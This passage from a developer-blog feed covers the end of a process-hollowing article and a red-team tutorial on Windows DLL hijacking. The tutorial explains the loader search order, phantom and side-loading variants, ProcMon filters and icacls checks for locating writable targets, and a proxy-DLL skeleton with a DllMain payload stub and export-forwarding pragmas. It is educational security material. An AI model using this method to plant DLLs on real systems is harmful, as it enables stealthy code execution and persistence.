&lt;p&gt;&lt;strong&gt;ASLR and preferred bases.&lt;/strong&gt; The host binary's actual load address may differ from its &lt;code&gt;ImageBase&lt;/code&gt; in the NT headers. Reading the actual base from the PEB handles this. Computing the payload entry point from the preferred &lt;code&gt;ImageBase&lt;/code&gt; instead of the actual allocated address produces a wrong entry point and a clean crash.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Core Artifact and What Comes Next
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; followed by &lt;code&gt;VirtualAllocEx&lt;/code&gt; at the same address is structurally self-revealing. It destroys a &lt;code&gt;MEM_IMAGE&lt;/code&gt; region backed by a legitimate file and replaces it with anonymous private memory. Every memory scanner, every kernel-side VAD query, every &lt;code&gt;GetMappedFileName&lt;/code&gt; call on the base address surfaces the inconsistency.&lt;/p&gt;

&lt;p&gt;The attack is powerful against detection stacks that don't perform this cross-reference. Against those that do, the artifact is definitional — built into the technique's core mechanism.&lt;/p&gt;

&lt;p&gt;The next logical question: what if you never called &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; at all? What if you hijacked memory that's already a legitimate &lt;code&gt;MEM_IMAGE&lt;/code&gt; region — one with a real file path that passes every scanner check, a real &lt;code&gt;CONTROL_AREA&lt;/code&gt;, a real disk backing? That's module stomping, one rung up the same ladder.&lt;/p&gt;

&lt;p&gt;Hollowing isn’t stealth. It’s inconsistency. And inconsistency is exactly what defenders learn to hunt.&lt;/p&gt;

&lt;p&gt;Below that rung is DLL Hijacking — exploiting the loader's own search-order behavior to make Windows load your code as a legitimate library, without touching an existing process at all. A design decision baked into the Windows loader since the early 1990s that still can't be fully patched without breaking legacy application compatibility.&lt;/p&gt;

&lt;p&gt;That's next.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The proof-of-concept implementation is available in the &lt;a href="https://github.com/Nimesh-Nakum/windows-kernel-internals-lab/tree/main/Process_hollowing" rel="noopener noreferrer"&gt;windows-kernel-internals-lab&lt;/a&gt; repository.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>processhollowing</category>
      <category>windowsinternal</category>
      <category>redteaming</category>
    </item>
    <item>
      <title>DLL Hijacking — Three Variants with ProcMon Methodology</title>
      <dc:creator>nimesh nakum</dc:creator>
      <pubDate>Wed, 10 Jun 2026 04:27:53 +0000</pubDate>
      <link>https://dev.to/redforge/dll-hijacking-three-variants-with-procmon-methodology-1mpn</link>
      <guid>https://dev.to/redforge/dll-hijacking-three-variants-with-procmon-methodology-1mpn</guid>
      <description>&lt;p&gt;what  if you didn't need to hollow anything? What if Windows itself loads your malicious code, willingly, through its own loader? That's DLL hijacking — the OS doing your dirty work.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;How Windows Finds DLLs — The Search Order&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;when a process calls :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;LoadLibrary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"example.dll"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Windows now has a problem:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Where exactly is &lt;code&gt;example.dll&lt;/code&gt; located?”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Because only a filename was given — not a full path.&lt;/p&gt;

&lt;p&gt;So the Windows Loader (&lt;code&gt;LdrLoadDll&lt;/code&gt; inside &lt;code&gt;ntdll.dll&lt;/code&gt;) begins searching through multiple locations in a specific order.&lt;/p&gt;

&lt;p&gt;That search order is what attackers abuse.&lt;/p&gt;

&lt;p&gt;There are Basically Two categories :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Standard Search Locations&lt;/strong&gt;
Normal DLL resolution path&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Special Search Locations&lt;/strong&gt;
Extra trusted/preferred/forced locations used by Windows&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Phase 1: Special Search Locations
&lt;/h4&gt;

&lt;p&gt;Before scanning the physical directories on your hard drive, Windows checks several internal, memory-based, or configuration-based mechanisms to see if the DLL is already handled:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;DLL Redirection:&lt;/strong&gt; Windows first checks if a specific redirection file or rule exists for the application.( If a &lt;code&gt;.local&lt;/code&gt; file or &lt;code&gt;app.exe.local&lt;/code&gt; folder exists alongside the application, Windows redirects DLL loads to that location )&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;API Sets:&lt;/strong&gt; It then checks if the requested DLL is an API Set name that needs to be resolved to a physical DLL.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; When an app requests something like &lt;code&gt;api-ms-win-core-processthreads-l1-1-0.dll&lt;/code&gt;, the API Set schema maps it to the real DLL (&lt;code&gt;kernelbase.dll&lt;/code&gt; or similar) before any filesystem search happens.&lt;/li&gt;
&lt;li&gt;You can't hijack an API Set dependency with a dropped file — it never reaches the filesystem.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SxS Manifest Redirection:&lt;/strong&gt; The system checks Side-by-Side (SxS) manifests to see if the application requires a specific version of the DLL.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If it does, Windows loads from the WinSxS store — again, bypassing the filesystem search entirely.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Loaded-Module List:&lt;/strong&gt; Windows checks if the requested DLL is already loaded into the current process's memory space.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If the DLL is already loaded in the process — already present in &lt;code&gt;InMemoryOrderModuleList&lt;/code&gt; — the loader returns the existing mapping. No disk access at all.&lt;/li&gt;
&lt;li&gt;This is why injecting a DLL once makes subsequent &lt;code&gt;LoadLibrary&lt;/code&gt; calls for the same name return your version — it's already in the list.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Known DLLs:&lt;/strong&gt; It checks a pre-defined registry list of core Windows DLLs. If it's a "Known DLL," Windows will always use the system copy, preventing hijacking of critical files.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- The kernel pre-maps a set of critical system DLLs at boot and stores them as named section objects under `\KnownDLLs`. When the loader encounters a DLL name that matches, it maps directly from that section object. The filesystem is never consulted.

-  This is why you cannot hijack `ntdll.dll`, `kernel32.dll`, `user32.dll`, or `kernelbase.dll` by dropping a file anywhere — they are resolved before the filesystem search begins.

- You can see the full `KnownDLLs` list yourself:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sysinternals WinObj → navigate to \KnownDLLs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Package Dependency Graph of Process:&lt;/strong&gt; It checks the dependency graph for the specific application package, Before Standard Locations.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If the DLL hasn't been found or resolved in the first phase, Windows moves on to querying directories on the disk. This is where the majority of standard DLL hijacking opportunities arise. It searches in this exact order:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Application's Directory:&lt;/strong&gt; The folder from which the executable file was launched.

&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;application's own directory&lt;/strong&gt; comes first — before System32, before anything else. This was intentional. &lt;/li&gt;
&lt;li&gt;Applications in the Windows 95 era were expected to ship their own DLL versions alongside their executables, and Windows needed to respect that. That backward-compatibility decision has never been reversed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Why attackers care: if an application's directory is writable by a non-admin user — which is common for software installed under Program Files with weak ACLs, or anything in a user-controlled path — you can place a DLL there and the loader picks it up before the legitimate copy in System32 is ever checked.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;C:\Windows\System32&lt;/code&gt;:&lt;/strong&gt; The primary system directory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;C:\Windows\System&lt;/code&gt;:&lt;/strong&gt; The legacy system directory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;C:\Windows&lt;/code&gt;:&lt;/strong&gt; The main Windows directory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Current Directory:&lt;/strong&gt; The directory the process is currently executing in (which can sometimes be different from the application's launch directory).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Directories Listed in PATH Variable:&lt;/strong&gt; Finally, if it hasn't found the DLL anywhere else, Windows sweeps through all the directories specified in the system's &lt;code&gt;%PATH%&lt;/code&gt; environment variable.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Safe DLL Search Mode&lt;/strong&gt; slightly adjusts this standard list by deprioritizing the current working directory, moving it later in the order. It's enabled by default:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager
SafeDllSearchMode = 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It protects against working-directory attacks specifically. The application directory is untouched — it stays first. Safe DLL Search Mode is a partial mitigation that addresses one variant of the problem while leaving the most practical variant completely open.&lt;/p&gt;

&lt;p&gt;Understanding this full picture matters because it tells you exactly which DLLs are hijackable and which aren't — before you touch ProcMon. &lt;/p&gt;

&lt;p&gt;If a DLL name appears in KnownDLLs or gets resolved via API Sets, no dropped file will intercept it. Everything else is fair game.&lt;/p&gt;

&lt;p&gt;The exact DLL search order varies depending on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SafeDllSearchMode&lt;/li&gt;
&lt;li&gt;whether LoadLibraryEx is used&lt;/li&gt;
&lt;li&gt;SxS activation contexts&lt;/li&gt;
&lt;li&gt;packaged application behavior&lt;/li&gt;
&lt;li&gt;custom DLL directories&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The order above reflects the common unpackaged desktop application search behavior when no custom loader flags are specified.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Common DLL Hijacking Implementations&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The three most common techniques attackers use are DLL side-loading, DLL search order hijacking and phantom DLL loading. The most common technique is DLL side-loading&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;DLL Search Order Hijacking&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;This implementation exemplifies the core abuse of the entire Windows DLL search order.&lt;/p&gt;

&lt;p&gt;This technique simply leverages the Windows DLL search order to drop a malicious DLL in any of its searched locations that would cause a vulnerable, legitimate program to execute a malicious DLL.&lt;/p&gt;

&lt;p&gt;An attacker can place a malicious DLL in a location prioritized by the DLL search order before the location of a valid DLL.&lt;/p&gt;

&lt;p&gt;This can happen at any point in the DLL search order, including the PATH environment variable, which attackers can modify by adding a path directory with a malicious DLL.&lt;/p&gt;

&lt;p&gt;An example of this type of attack is to drop a malicious DLL in a Python installation directory to hijack the DLL search order.&lt;/p&gt;

&lt;p&gt;When Python is installed on a Windows machine, it often adds its installation directory to the PATH environment variable, usually in one of the first searched locations.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fweqdznq555wwy2tsnk3h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fweqdznq555wwy2tsnk3h.png" alt="Image 2 is a screenshot of Python folders listed in the Edit environment variable window. There are options for New, Edit and Browse." width="614" height="265"&gt;&lt;/a&gt;&lt;br&gt;
             Python folders in the PATH environment variable&lt;/p&gt;

&lt;p&gt;Installing Python on a Windows host creates a directory with relaxed permissions, allowing any authenticated user (including unprivileged ones) to write to this location. &lt;/p&gt;

&lt;p&gt;This gives attackers the best conditions to execute their DLL search order hijack attack and infect the targeted machine.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;Phantom DLL Loading&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;In this technique, attackers look for a vulnerable executable that attempts to load a DLL that simply doesn't exist (or is missing) due to an implementation bug.&lt;/p&gt;

&lt;p&gt;Then, attackers will plant a malicious DLL with the non-existent DLL’s filename in its expected location.&lt;/p&gt;

&lt;p&gt;A familiar example of this technique is the abuse of the &lt;strong&gt;Windows Search (WSearch) Service.&lt;/strong&gt; &lt;br&gt;
This service is responsible for search operations and it launches with SYSTEM privileges upon system startup.(Historical)&lt;/p&gt;

&lt;p&gt;When this service starts, it executes &lt;code&gt;SearchIndexer.exe&lt;/code&gt; and &lt;code&gt;SearchProtocolHost.exe&lt;/code&gt;, which both attempt to load &lt;code&gt;msfte.dll&lt;/code&gt; from S*ystem32* . In default Windows installations, the file does not exist in this location.&lt;/p&gt;

&lt;p&gt;An adversary can plant their malicious DLL if they can write to the System32 folder or an alternate DLL search order location, or insert another attacker-controlled location into the PATH environment variable.&lt;/p&gt;

&lt;p&gt;This allows them to gain a stealthy pathway for execution with &lt;code&gt;SYSTEM&lt;/code&gt; privileges, and a means to maintain persistence on the machine.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;DLL Side-Loading&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;In this most commonly used DLL-hijacking technique, an attacker obtains a legitimate executable that loads a specifically named DLL without specifying the DLL file's full directory path. &lt;/p&gt;

&lt;p&gt;DLL side-loading uses a malicious DLL renamed to the same filename of a legitimate DLL, one normally used by a legitimate executable. &lt;/p&gt;

&lt;p&gt;Attackers drop the legitimate executable and a malicious, renamed DLL within a directory they have access to.&lt;/p&gt;

&lt;p&gt;In DLL side-loading, the attackers rely on the fact that the executable’s directory is one of the first locations Windows searches for.&lt;/p&gt;
&lt;h3&gt;
  
  
  Finding Candidates with ProcMon — The Methodology
&lt;/h3&gt;

&lt;p&gt;Knowing the three variants is theory. ProcMon is where theory becomes a target list.&lt;/p&gt;

&lt;p&gt;Process Monitor captures every filesystem operation a process makes in real time — including every DLL load attempt, successful or not. The ones that &lt;em&gt;fail&lt;/em&gt; are your attack surface.&lt;/p&gt;

&lt;p&gt;A failed DLL load means Windows looked for something, didn't find it, and moved on. That's your opening.&lt;/p&gt;
&lt;h4&gt;
  
  
  Setting Up the Filter
&lt;/h4&gt;

&lt;p&gt;Open ProcMon and set these two filters before launching your target application:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Result    is    NAME NOT FOUND
Path      ends with    .dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This cuts through the noise. You're left with only the DLL requests that the loader made and got nothing back for. &lt;/p&gt;

&lt;p&gt;Every single line in that filtered output is a location where Windows expected a DLL and found empty space.&lt;/p&gt;

&lt;p&gt;Now launch your target application with ProcMon running.&lt;/p&gt;

&lt;h4&gt;
  
  
  Reading the Output
&lt;/h4&gt;

&lt;p&gt;Each line in ProcMon tells you three things:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Process Name    →    which executable made the request
Path            →    full path Windows searched
Result          →    NAME NOT FOUND
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;strong&gt;Path column is what matters&lt;/strong&gt;. It tells you exactly where the loader looked. Cross-reference that path with two questions:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Is this location writable by a non-admin user?&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;icacls&lt;/span&gt; &lt;span class="s2"&gt;"C:\Path\To\Directory"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for &lt;code&gt;(W)&lt;/code&gt; or &lt;code&gt;(F)&lt;/code&gt; next to any non-admin group — &lt;code&gt;BUILTIN\Users&lt;/code&gt;, &lt;code&gt;Everyone&lt;/code&gt;, &lt;code&gt;INTERACTIVE&lt;/code&gt;. If it's there, you can drop a file there without elevation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Does a legitimate version of this DLL exist elsewhere on the system?&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;where&lt;/span&gt; &lt;span class="na"&gt;/R &lt;/span&gt;&lt;span class="kd"&gt;C&lt;/span&gt;:\Windows &lt;span class="kd"&gt;version&lt;/span&gt;.dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If it exists in System32 but the app searched its own directory first and got &lt;code&gt;NAME NOT FOUND&lt;/code&gt; — that's a &lt;strong&gt;Search Order Hijacking&lt;/strong&gt; candidate. The real DLL exists, but the app checked a writable location before finding it.&lt;/p&gt;

&lt;p&gt;If the DLL doesn't exist &lt;em&gt;anywhere&lt;/em&gt; on the system — that's a &lt;strong&gt;Phantom DLL&lt;/strong&gt; candidate. Nothing to compete with. You're filling a void.&lt;/p&gt;

&lt;h4&gt;
  
  
  Identifying Side-Loading Candidates
&lt;/h4&gt;

&lt;p&gt;Side-loading candidates don't always show up as &lt;code&gt;NAME NOT FOUND&lt;/code&gt;. Sometimes the application successfully loads a DLL — but from a location you can influence.&lt;/p&gt;

&lt;p&gt;Add a second filter alongside your existing ones:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Operation    is    Load Image
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now look for DLLs loading from the application's own directory. If that directory has weak ACLs and the DLL being loaded isn't in KnownDLLs — you have a side-loading candidate. The app is already loading from a controllable location. You just need to replace what's there with a proxy.&lt;/p&gt;

&lt;h4&gt;
  
  
  Turning a Finding into a Confirmed Target
&lt;/h4&gt;

&lt;p&gt;Not every &lt;code&gt;NAME NOT FOUND&lt;/code&gt; result is exploitable. Before you build a DLL, confirm three things:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The directory is writable:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;icacls&lt;/span&gt; &lt;span class="s2"&gt;"C:\Program Files\TargetApp\"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The DLL name isn't in KnownDLLs:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WinObj → \KnownDLLs → check if the name appears
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The application actually uses the DLL in a meaningful code path&lt;/strong&gt; — not just at startup and never again. A DLL loaded once at launch and then ignored means your payload executes once. A DLL loaded repeatedly means repeated execution opportunities.&lt;/p&gt;

&lt;p&gt;Once all three are confirmed, you have a legitimate target. The next step is building something that loads into it without breaking the application — which is where the proxy DLL comes in.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Proxy DLL — Don't Break What You're Hijacking
&lt;/h3&gt;

&lt;p&gt;Finding a candidate is half the work. The other half is making sure your DLL doesn't crash the application the moment it loads.&lt;/p&gt;

&lt;p&gt;Here's the problem most people run into on their first attempt.&lt;/p&gt;

&lt;p&gt;You found a candidate. Some application tries to load &lt;code&gt;version.dll&lt;/code&gt; from its own directory. That directory is writable. &lt;code&gt;version.dll&lt;/code&gt; isn't in KnownDLLs. You compile a basic DLL that runs your payload in &lt;code&gt;DllMain&lt;/code&gt;, name it &lt;code&gt;version.dll&lt;/code&gt;, drop it in the directory, and launch the application.&lt;/p&gt;

&lt;p&gt;Two things can happen:&lt;/p&gt;

&lt;p&gt;Application loads → payload executes → application keeps running. &lt;/p&gt;

&lt;p&gt;Application loads → payload executes → application immediately crashes. &lt;/p&gt;

&lt;p&gt;Scenario B happens more often than you'd expect. And a crashed application is a problem — not because it's a technical failure, but because a crashed application is &lt;strong&gt;noise&lt;/strong&gt;. The user notices. On a real engagement, that's the one thing you can't afford.&lt;/p&gt;

&lt;p&gt;So why does it crash?&lt;/p&gt;

&lt;h4&gt;
  
  
  The Export Table Problem
&lt;/h4&gt;

&lt;p&gt;When an application loads a DLL, it doesn't just load it and move on. It calls specific &lt;strong&gt;exported functions&lt;/strong&gt; from that DLL throughout its lifetime.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;version.dll&lt;/code&gt; is the Windows Version API library. Applications use it to check file version information. Functions like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="n"&gt;GetFileVersionInfoA&lt;/span&gt;
&lt;span class="n"&gt;GetFileVersionInfoSizeW&lt;/span&gt;
&lt;span class="n"&gt;VerQueryValueA&lt;/span&gt;
&lt;span class="n"&gt;VerQueryValueW&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the application calls &lt;code&gt;LoadLibrary("version.dll")&lt;/code&gt;, Windows loads your DLL. Fine. But then at some point, the application calls &lt;code&gt;GetFileVersionInfoSize()&lt;/code&gt;. It looks for that function in the loaded &lt;code&gt;version.dll&lt;/code&gt; — which is your DLL. Your DLL doesn't export it. Windows returns &lt;code&gt;NULL&lt;/code&gt;. The application tries to call a &lt;code&gt;NULL&lt;/code&gt; function pointer.&lt;/p&gt;

&lt;p&gt;That's your crash.&lt;/p&gt;

&lt;p&gt;Every DLL has an &lt;strong&gt;export table&lt;/strong&gt; — a list of functions it makes available to any process that loads it. You can see it with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;dumpbin&lt;/span&gt; &lt;span class="na"&gt;/exports &lt;/span&gt;&lt;span class="kd"&gt;C&lt;/span&gt;:\Windows\System32\version.dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ordinal  name
      1  GetFileVersionInfoA
      2  GetFileVersionInfoByHandle
      3  GetFileVersionInfoExA
      4  GetFileVersionInfoExW
      5  GetFileVersionInfoSizeA
      6  GetFileVersionInfoSizeW
      9  GetFileVersionInfoW
     16  VerQueryValueA
     17  VerQueryValueW
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every function in that output is something the application might call. If your DLL doesn't export them, any call to them crashes the application.&lt;/p&gt;

&lt;p&gt;This is the exact problem a &lt;strong&gt;proxy DLL&lt;/strong&gt; solves.&lt;/p&gt;

&lt;h4&gt;
  
  
  What a Proxy DLL Actually Does
&lt;/h4&gt;

&lt;p&gt;Your DLL needs to satisfy two requirements at the same time:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Execute your payload&lt;/li&gt;
&lt;li&gt;Export every function the application expects — and make those functions actually work&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The proxy pattern handles both. Your DLL intercepts the load, runs your payload, and then &lt;strong&gt;forwards&lt;/strong&gt; every function call transparently to the real DLL in System32.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Application calls GetFileVersionInfoA()
        ↓
Your version.dll (proxy)
  → DllMain fires → your payload executes
  → GetFileVersionInfoA() forwarded to real version.dll
        ↓
C:\Windows\System32\version.dll
        ↓
Returns valid result to application
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application called &lt;code&gt;GetFileVersionInfoA&lt;/code&gt;, got a valid result, and kept running. Your payload already executed silently before any of that happened. The application never noticed anything changed.&lt;/p&gt;

&lt;h4&gt;
  
  
  DllMain — Where Your Code Lives
&lt;/h4&gt;

&lt;p&gt;Every DLL has a &lt;code&gt;DllMain&lt;/code&gt; function. This is the entry point the Windows loader calls automatically the moment your DLL is mapped into the process. You don't trigger it — Windows does.&lt;/p&gt;

&lt;p&gt;c&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;APIENTRY&lt;/span&gt; &lt;span class="nf"&gt;DllMain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HMODULE&lt;/span&gt; &lt;span class="n"&gt;hModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;dwReason&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LPVOID&lt;/span&gt; &lt;span class="n"&gt;lpReserved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dwReason&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;DLL_PROCESS_ATTACH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// your payload runs here&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;DLL_PROCESS_ATTACH&lt;/code&gt; fires exactly once — the instant the loader maps your DLL into the process address space. Before the application gets control back from &lt;code&gt;LoadLibrary&lt;/code&gt;. Before it calls a single exported function.&lt;/p&gt;

&lt;p&gt;The execution order is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Application calls LoadLibrary("version.dll")
        ↓
Loader maps your DLL into process memory
        ↓
Loader calls DllMain(DLL_PROCESS_ATTACH) ← your payload runs here
        ↓
LoadLibrary returns handle to your DLL
        ↓
Application calls exported functions on your DLL
        ↓
Your exports forward calls to real version.dll
        ↓
Application gets valid results, keeps running
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You return &lt;code&gt;TRUE&lt;/code&gt; from &lt;code&gt;DllMain&lt;/code&gt;. The loader considers the DLL successfully initialized. Everything continues normally.&lt;/p&gt;

&lt;h4&gt;
  
  
  Export Forwarding — Making the Application Happy
&lt;/h4&gt;

&lt;p&gt;This is the part that makes the proxy work. At the top of your DLL source, before any code, you add pragma linker directives — one per exported function:&lt;/p&gt;

&lt;p&gt;c&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
&lt;/span&gt;&lt;span class="c1"&gt;// one line for every export in the real DLL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The format is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/export:YourExportName=RealDLLPath.RealFunctionName,@OrdinalNumber
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



